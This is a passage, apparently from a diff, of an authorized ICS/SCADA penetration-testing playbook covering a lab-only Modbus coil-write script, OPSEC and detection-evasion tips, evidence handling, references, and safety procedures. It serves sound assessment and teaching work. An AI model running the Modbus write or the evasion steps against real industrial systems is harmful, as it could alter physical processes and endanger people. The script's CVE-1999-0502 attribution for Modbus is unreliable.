855
|
+
|
|
856
|
+
**Impact:** Default credentials provide read/write access to process data. Alarm suppression capability means an attacker could hide malicious process changes from operators.
|
|
857
|
+
|
|
858
|
+
---
|
|
859
|
+
|
|
860
|
+
### Scenario C: Unauthenticated Modbus Write to Demonstrate Physical Impact (Lab Only)
|
|
861
|
+
|
|
862
|
+
**Objective:** In a controlled lab environment with a test PLC, demonstrate the ease of Modbus coil/register write with no authentication.
|
|
863
|
+
|
|
864
|
+
**CRITICAL: This scenario is ONLY for isolated lab PLCs. Never execute against production systems.**
|
|
865
|
+
|
|
866
|
+
```bash
|
|
867
|
+
# Lab environment only — test PLC IP
|
|
868
|
+
LAB_PLC="10.10.10.100"
|
|
869
|
+
|
|
870
|
+
source ~/ics-env/bin/activate
|
|
871
|
+
|
|
872
|
+
cat > /tmp/modbus_write_demo.py << 'EOF'
|
|
873
|
+
#!/usr/bin/env python3
|
|
874
|
+
"""
|
|
875
|
+
LAB ONLY — Modbus write demonstration.
|
|
876
|
+
Modbus has ZERO authentication by default.
|
|
877
|
+
This demonstrates CVE-1999-0502 (Modbus no authentication).
|
|
878
|
+
"""
|
|
879
|
+
import sys
|
|
880
|
+
from pymodbus.client import ModbusTcpClient
|
|
881
|
+
|
|
882
|
+
target = sys.argv[1]
|
|
883
|
+
client = ModbusTcpClient(target, port=502, timeout=5)
|
|
884
|
+
|
|
885
|
+
if not client.connect():
|
|
886
|
+
print("[-] Cannot connect")
|
|
887
|
+
sys.exit(1)
|
|
888
|
+
|
|
889
|
+
print(f"[+] Connected to {target}:502")
|
|
890
|
+
print("[*] Reading coil 0 (current state)...")
|
|
891
|
+
result = client.read_coils(0, count=1, slave=1)
|
|
892
|
+
print(f" Coil 0 state: {result.bits[0]}")
|
|
893
|
+
|
|
894
|
+
print("[*] Writing True to coil 0 (no authentication required)...")
|
|
895
|
+
write_result = client.write_coil(0, True, slave=1)
|
|
896
|
+
print(f" Write result: {write_result}")
|
|
897
|
+
|
|
898
|
+
result = client.read_coils(0, count=1, slave=1)
|
|
899
|
+
print(f" Coil 0 state after write: {result.bits[0]}")
|
|
900
|
+
|
|
901
|
+
print("[!] FINDING: Modbus write succeeded with NO authentication.")
|
|
902
|
+
print("[!] In production: this coil could control a pump, valve, or actuator.")
|
|
903
|
+
client.close()
|
|
904
|
+
EOF
|
|
905
|
+
|
|
906
|
+
# Run against lab PLC only
|
|
907
|
+
python3 /tmp/modbus_write_demo.py $LAB_PLC | tee exploit/scenario-c-modbus-write.txt
|
|
908
|
+
```
|
|
909
|
+
|
|
910
|
+
**Impact:** Modbus protocol has no native authentication. Any host with network access to port 502 can read and write process variables, setpoints, and discrete outputs — directly controlling physical actuators.
|
|
911
|
+
|
|
912
|
+
---
|
|
913
|
+
|
|
914
|
+
## 6. OPSEC Considerations
|
|
915
|
+
|
|
916
|
+
### Detection Risks
|
|
917
|
+
|
|
918
|
+
| Activity | Detection Vector | Risk Level |
|
|
919
|
+
|---|---|---|
|
|
920
|
+
| Port scanning at default Nmap rate | PLC/RTU watchdog timeout, IDS/IPS | CRITICAL — can crash devices |
|
|
921
|
+
| Modbus function code 0x08 (diagnostics) | Application logs, anomaly detection | MEDIUM |
|
|
922
|
+
| S7comm connect/disconnect cycles | Siemens diagnostic buffer | MEDIUM |
|
|
923
|
+
| OPC-UA anonymous browse | OPC-UA server audit log | LOW |
|
|
924
|
+
| HTTP default credential attempts | Web server access log, WAF | MEDIUM |
|
|
925
|
+
| ARP scanning | Network TAP/SPAN monitoring | LOW |
|
|
926
|
+
| SQL injection testing | WAF, database audit log | HIGH |
|
|
927
|
+
|
|
928
|
+
### Mitigation Strategies (to Avoid Unintended Disruption)
|
|
929
|
+
|
|
930
|
+
1. **Always throttle scan rates**: Use `--min-rate 5 --max-rate 15` for Nmap. Never use `-T4` or `-T5` in OT.
|
|
931
|
+
2. **Avoid function codes 0x05 (Write Single Coil) and 0x06 (Write Single Register)** in Modbus unless in lab.
|
|
932
|
+
3. **Use read-only S7 functions**: `client.read_area()` — avoid `client.write_area()`.
|
|
933
|
+
4. **Coordinate scan windows**: Agree on a 2-hour maintenance window when operators are on-site and processes are at minimum load.
|
|
934
|
+
5. **Have emergency stop contacts**: Know the plant manager's direct phone. If a device becomes unresponsive, escalate immediately.
|
|
935
|
+
6. **Avoid UDP flooding**: BACnet and DNP3 use UDP — sending too many packets can saturate OT network switches.
|
|
936
|
+
7. **No parallel scanning**: Run one host at a time. ICS networks often have 10 Mbps hubs, not gigabit switches.
|
|
937
|
+
8. **Avoid retransmission storms**: Set timeouts generously (5-10 seconds). Do not retry aggressively.
|
|
938
|
+
9. **Document every packet sent**: Capture is mandatory. If an incident occurs, you need to prove which traffic was yours.
|
|
939
|
+
10. **Do not leave sessions open**: Close Modbus/S7/OPC-UA connections when done. Open connections can consume limited PLC connection slots.
|
|
940
|
+
|
|
941
|
+
### Blending In (If Authorized Adversary Simulation)
|
|
942
|
+
|
|
943
|
+
- Use IP addresses in the same range as legitimate engineering workstations
|
|
944
|
+
- Mirror normal Modbus polling patterns (reads at 1-second intervals, same register ranges)
|
|
945
|
+
- Copy legitimate HMI User-Agent strings for web requests
|
|
946
|
+
- Schedule active scans during normal maintenance periods
|
|
947
|
+
|
|
948
|
+
---
|
|
949
|
+
|
|
950
|
+
## 7. Output and Documentation Instructions
|
|
951
|
+
|
|
952
|
+
### Evidence Collection Standards
|
|
953
|
+
|
|
954
|
+
```bash
|
|
955
|
+
# Screenshot HMI dashboards (if on-site or using VNC/RDP)
|
|
956
|
+
import -window root exploit/hmi-screenshot-$(date +%H%M%S).png 2>/dev/null
|
|
957
|
+
|
|
958
|
+
# Export all scan data
|
|
959
|
+
cd ~/engagements/$(date +%Y%m%d)-scada-assessment
|
|
960
|
+
|
|
961
|
+
# Create finding summary
|
|
962
|
+
cat > report/findings-summary.md << 'EOF'
|
|
963
|
+
# ICS/SCADA Assessment Findings
|
|
964
|
+
|
|
965
|
+
## Engagement: $ENGAGEMENT_ID
|
|
966
|
+
## Date: $(date)
|
|
967
|
+
## Assessor: [Name]
|
|
968
|
+
## Authorized by: [Name, Title]
|
|
969
|
+
|
|
970
|
+
## Critical Findings
|
|
971
|
+
|
|
972
|
+
### CF-01: Default Credentials on HMI
|
|
973
|
+
- Host: HMI_HOST
|
|
974
|
+
- Protocol: HTTP
|
|
975
|
+
- Credential: admin/admin
|
|
976
|
+
- Impact: Full read/write access to process visualization and control
|
|
977
|
+
- MITRE ATT&CK ICS: T0810 (Data Historian Compromise), T0823 (Graphical User Interface)
|
|
978
|
+
|
|
979
|
+
### CF-02: Unauthenticated Modbus Access from Corporate Network
|
|
980
|
+
- Source: IT network (segmentation failure)
|
|
981
|
+
- Destination: PLC_HOST:502
|
|
982
|
+
- Protocol: Modbus TCP
|
|
983
|
+
- Impact: Direct PLC register read/write with no authentication required
|
|
984
|
+
- MITRE ATT&CK ICS: T0836 (Modify Parameter), T0855 (Unauthorized Command Message)
|
|
985
|
+
|
|
986
|
+
### CF-03: Dual-Homed Historian Enables IT-to-OT Pivot
|
|
987
|
+
- Host: HISTORIAN_HOST
|
|
988
|
+
- IT NIC: [IP]
|
|
989
|
+
- OT NIC: [IP]
|
|
990
|
+
- Impact: Single workstation compromise enables full OT network access
|
|
991
|
+
- MITRE ATT&CK ICS: T0886 (Remote Services)
|
|
992
|
+
EOF
|
|
993
|
+
|
|
994
|
+
# Hash all evidence files for chain of custody
|
|
995
|
+
sha256sum evidence/* exploit/* scan/* recon/* > report/evidence-hashes.txt
|
|
996
|
+
gpg --sign report/evidence-hashes.txt
|
|
997
|
+
|
|
998
|
+
# Package deliverables
|
|
999
|
+
tar czf /secure-storage/$ENGAGEMENT_ID-evidence.tar.gz \
|
|
1000
|
+
~/engagements/$(date +%Y%m%d)-scada-assessment/
|
|
1001
|
+
```
|
|
1002
|
+
|
|
1003
|
+
### Reporting Template Fields
|
|
1004
|
+
|
|
1005
|
+
For each finding, document:
|
|
1006
|
+
1. **Finding ID** — sequential (CF-01, CF-02...)
|
|
1007
|
+
2. **Title** — concise one-line description
|
|
1008
|
+
3. **Severity** — Critical / High / Medium / Low / Informational
|
|
1009
|
+
4. **CVSS v3.1 Score** — calculated with AV:A or AV:N as appropriate
|
|
1010
|
+
5. **MITRE ATT&CK for ICS** — technique and tactic mapping
|
|
1011
|
+
6. **Affected Asset** — hostname, IP, vendor, model, firmware version
|
|
1012
|
+
7. **Protocol** — Modbus, S7, OPC-UA, HTTP, etc.
|
|
1013
|
+
8. **Evidence** — packet capture file, screenshot, command output
|
|
1014
|
+
9. **Reproduction Steps** — exact commands to reproduce
|
|
1015
|
+
10. **Business Impact** — physical consequence (process deviation, equipment damage, safety risk)
|
|
1016
|
+
11. **Recommendation** — specific, actionable remediation with vendor reference
|
|
1017
|
+
|
|
1018
|
+
---
|
|
1019
|
+
|
|
1020
|
+
## 8. Resources and References
|
|
1021
|
+
|
|
1022
|
+
### Frameworks and Standards
|
|
1023
|
+
|
|
1024
|
+
- MITRE ATT&CK for ICS: https://attack.mitre.org/matrices/ics/
|
|
1025
|
+
- ICS-CERT Advisories: https://www.cisa.gov/ics-advisories
|
|
1026
|
+
- NIST SP 800-82 Rev 3 (Guide to OT Security): https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final
|
|
1027
|
+
- IEC 62443 (Industrial Cybersecurity): https://www.iec.ch/icsecurity
|
|
1028
|
+
- NERC CIP Standards: https://www.nerc.com/pa/Stand/Pages/CIPStandards.aspx
|
|
1029
|
+
|
|
1030
|
+
### Tools and Repositories
|
|
1031
|
+
|
|
1032
|
+
| Tool | URL | Purpose |
|
|
1033
|
+
|---|---|---|
|
|
1034
|
+
| ISF (Industrial Security Framework) | https://github.com/w3h/isf | ICS exploit framework |
|
|
1035
|
+
| Redpoint NSE Scripts | https://github.com/digitalbond/Redpoint | Nmap ICS scripts |
|
|
1036
|
+
| PLCscan | https://github.com/meeas/plcscan | PLC protocol scanner |
|
|
1037
|
+
| s7scan | https://github.com/klsecservices/s7scan | Siemens S7 scanner |
|
|
1038
|
+
| pymodbus | https://github.com/pymodbus-dev/pymodbus | Modbus Python library |
|
|
1039
|
+
| python-snap7 | https://github.com/gijzelaerr/python-snap7 | S7 Python library |
|
|
1040
|
+
| opcua-asyncio | https://github.com/FreeOpcUa/opcua-asyncio | OPC-UA Python library |
|
|
1041
|
+
| cpppo | https://github.com/pjkundert/cpppo | EtherNet/IP library |
|
|
1042
|
+
| ICS Default Credentials | https://github.com/arnaudsoullie/ics-default-credentials | Credential database |
|
|
1043
|
+
| GrassMarlin | https://github.com/nsacyber/GRASSMARLIN | Passive ICS topology mapper |
|
|
1044
|
+
| SCAPY ICS layers | https://github.com/secdev/scapy | Protocol crafting |
|
|
1045
|
+
| ModbusPal | https://sourceforge.net/projects/modbuspal/ | Modbus simulator |
|
|
1046
|
+
| OpenPLC | https://github.com/thiagoralves/OpenPLC_Runtime | Open-source PLC for labs |
|
|
1047
|
+
|
|
1048
|
+
### Training and Reference Material
|
|
1049
|
+
|
|
1050
|
+
- ICS Security Training (Idaho National Laboratory CSET): https://github.com/cisagov/cset
|
|
1051
|
+
- Hack The Box ICS/SCADA Labs: https://www.hackthebox.com/hacker/hacking-labs
|
|
1052
|
+
- PentesterAcademy ICS Security: https://www.pentesteracademy.com/course?id=52
|
|
1053
|
+
- VulnHub ICS VMs: https://www.vulnhub.com/?q=scada
|
|
1054
|
+
- SCADA Hacker: https://scadahacker.com/resources.html
|
|
1055
|
+
- Claroty Research: https://claroty.com/team82/research
|
|
1056
|
+
- Dragos ICS/OT Reports: https://www.dragos.com/resources/
|
|
1057
|
+
- S4 Conference Proceedings: https://www.digitalbond.com/s4/
|
|
1058
|
+
|
|
1059
|
+
### CVE References for Common ICS Products
|
|
1060
|
+
|
|
1061
|
+
- Siemens SINEC NMS (CVE-2022-35863): Command injection
|
|
1062
|
+
- Aveva InTouch (CVE-2022-37300): Path traversal
|
|
1063
|
+
- Rockwell FactoryTalk (CVE-2022-1159): DLL hijacking
|
|
1064
|
+
- GE iFIX (CVE-2021-27452): Privilege escalation
|
|
1065
|
+
- Schneider EcoStruxure (CVE-2021-22716): Unauthenticated command
|
|
1066
|
+
- Honeywell Experion (CVE-2023-24474): Buffer overflow in ENIP parsing
|
|
1067
|
+
|
|
1068
|
+
---
|
|
1069
|
+
|
|
1070
|
+
## 9. Safety Appendix — Emergency Procedures
|
|
1071
|
+
|
|
1072
|
+
### If a Device Becomes Unresponsive During Testing
|
|
1073
|
+
|
|
1074
|
+
1. **Stop all testing immediately** — kill all scan processes: `kill $CAPTURE_PID; pkill nmap; pkill python3`
|
|
1075
|
+
2. **Notify operations staff** using pre-established out-of-band channel (radio or phone — not OT network)
|
|
1076
|
+
3. **Do not attempt recovery yourself** — physical restart of PLCs requires site personnel
|
|
1077
|
+
4. **Document the last command executed** with timestamp
|
|
1078
|
+
5. **Preserve packet capture** — do not delete or modify any captured traffic
|
|
1079
|
+
|
|
1080
|
+
### Process Anomaly Response
|
|
1081
|
+
|
|
1082
|
+
If a physical process deviation occurs (pressure, temperature, flow reading changes unexpectedly):
|
|
1083
|
+
|
|
1084
|
+
1. Immediately cease all active testing
|
|
1085
|
+
2. Contact the process engineer via emergency phone
|
|
1086
|
+
3. Do not attempt to correct the process via HMI — site personnel only
|
|
1087
|
+
4. Provide packet capture to engineering team for root cause analysis
|
|
1088
|
+
|
|
1089
|
+
### Legal Reminder
|
|
1090
|
+
|
|
1091
|
+
Unauthorized access to ICS systems is a federal crime under 18 U.S.C. § 1030 (CFAA) and may also violate critical infrastructure protection laws. In OT environments, disruption of operations may additionally trigger charges under sabotage statutes. Ensure written authorization is on your person at all times during physical site access.
|